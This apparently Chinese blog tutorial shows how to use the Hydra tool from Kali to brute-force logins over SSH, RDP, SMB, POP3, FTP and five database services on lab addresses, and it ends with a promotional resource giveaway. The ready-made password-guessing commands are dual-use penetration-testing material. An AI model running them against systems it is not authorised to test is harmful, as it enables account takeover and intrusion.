应用协议安全：Hydra 端口爆破工具.（九头蛇）

应用协议安全：Hydra 端口爆破工具.（九头蛇）

Hydra 也叫九头蛇，是一款开源的暴力PJ工具，集成在kali当中。可以对多种服务的账号和密码进行爆破，包括 Web

登录、数据库、SSH、FTP 等服务.

---

目录：

应用协议安全：Hydra 端口爆破工具.（九头蛇）

Hydra（九头蛇）使用：

使用方法：直接打开 kali 终端，输入.

（1）实战：爆破 SSH 协议.（ 22 端口 ）

（2）实战：爆破 远程桌面 RDP.（ 3389 端口 ）

（3）实战：爆破 共享文件 SMB （ 445 端口 ）

（4）实战：爆破 邮箱协议 POP3（ 110 端口 ）

（5）实战：爆破 文件传输 FTP （ 21 端口 ）

（6）实战：爆破 MSSQL数据库（ 1433 端口 ）

（7）实战：爆破 MySQL数据库（ 3306 端口 ）

（8）实战：爆破 Oracle数据库（ 1521 端口 ）

（9）实战：爆破 Redis数据库（ 6379 端口 ）

（10）实战：爆破 PgSQL数据库（ 5432 端口 ）

---

免责声明：

严禁利用本文章中所提到的技术进行非法攻击，否则后果自负，上传者不承担任何责任。

---

Hydra（九头蛇）使用的参数：

-s 指定端口

-l 指定用户名

-L 指定用户名字典(文件)

-p 指定密码破解

-P 指定密码字典(文件)

-o 保存执行结果

-e 空密码探测和指定用户密码探测(ns)

-C 用户名可以用:分割(username:password)

-vV 显示详细过程

Hydra（九头蛇）使用：

使用方法：直接打开 kali 终端，输入.

hydra

---

（1）实战：爆破 SSH 协议.（ 22 端口 ）

hydra -L /root/root.txt -P /root/root.txt 192.168.0.105 ssh

-L 指定用户名字典(文件)

-P 指定密码字典(文件)

ssh iwebsec@192.168.0.105            //登录 ssh (22端口)

ssh 账号@地址

---

（2）实战：爆破 远程桌面 RDP.（ 3389 端口 ）

hydra -l administrator -P /root/root.txt 192.168.0.106 rdp -vV

-l 指定用户名

-P 指定密码字典(文件)

-vV 显示详细过程

rdesktop 192.168.0.106:3389        //登录远程桌面3389

rdesktop 地址:3389 

---

（3）实战：爆破 共享文件 SMB （ 445 端口 ）

hydra -l administrator -P /root/root.txt 192.168.0.106 smb

-l 指定用户名

-P 指定密码字典(文件)

---

（4）实战：爆破 邮箱协议 POP3（ 110 端口 ）

hydra  -L /root/root.txt -P /root/root.txt 192.168.0.105 pop3 -vV

-L 指定用户名字典(文件)

-P 指定密码字典(文件)

-vV 显示详细过程

---

（5）实战：爆破 文件传输 FTP （ 21 端口 ）

hydra  -L /root/root.txt -P /root/root.txt 192.168.0.105 ftp -vV

-L 指定用户名字典(文件)

-P 指定密码字典(文件)

-vV 显示详细过程

---

（6）实战：爆破 MSSQL数据库（ 1433 端口 ）

hydra -l sa -P /root/root.txt 192.168.0.106 mssql -vV 

-l 指定用户名

-P 指定密码字典(文件)

-vV 显示详细过程

---

（7）实战：爆破 MySQL数据库（ 3306 端口 ）

hydra -L /root/root.txt -P /root/root.txt 192.168.0.106 mysql -vV 

-L 指定用户名字典(文件)

-P 指定密码字典(文件)

-vV 显示详细过程

---

（8）实战：爆破 Oracle数据库（ 1521 端口 ）

hydra -L /root/root.txt -P /root/root.txt 192.168.0.106 oracle -vV 

-L 指定用户名字典(文件)

-P 指定密码字典(文件)

-vV 显示详细过程

---

（9）实战：爆破 Redis数据库（ 6379 端口 ）

hydra -L /root/root.txt -P /root/root.txt 192.168.0.106 redis -vV 
 
-L 指定用户名字典(文件)

-P 指定密码字典(文件)

-vV 显示详细过程

---

（10）实战：爆破 PgSQL数据库（ 5432 端口 ）

hydra -L /root/root.txt -P /root/root.txt 192.168.0.106 postgresql -vV

-L 指定用户名字典(文件)

-P 指定密码字典(文件)

-vV 显示详细过程

最后

从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。

因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。

干货主要有：

①1000+CTF历届题库（主流和经典的应该都有了）

②CTF技术文档（最全中文版）

③项目源码（四五十个有趣且经典的练手项目及源码）

④ CTF大赛、web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

扫码领取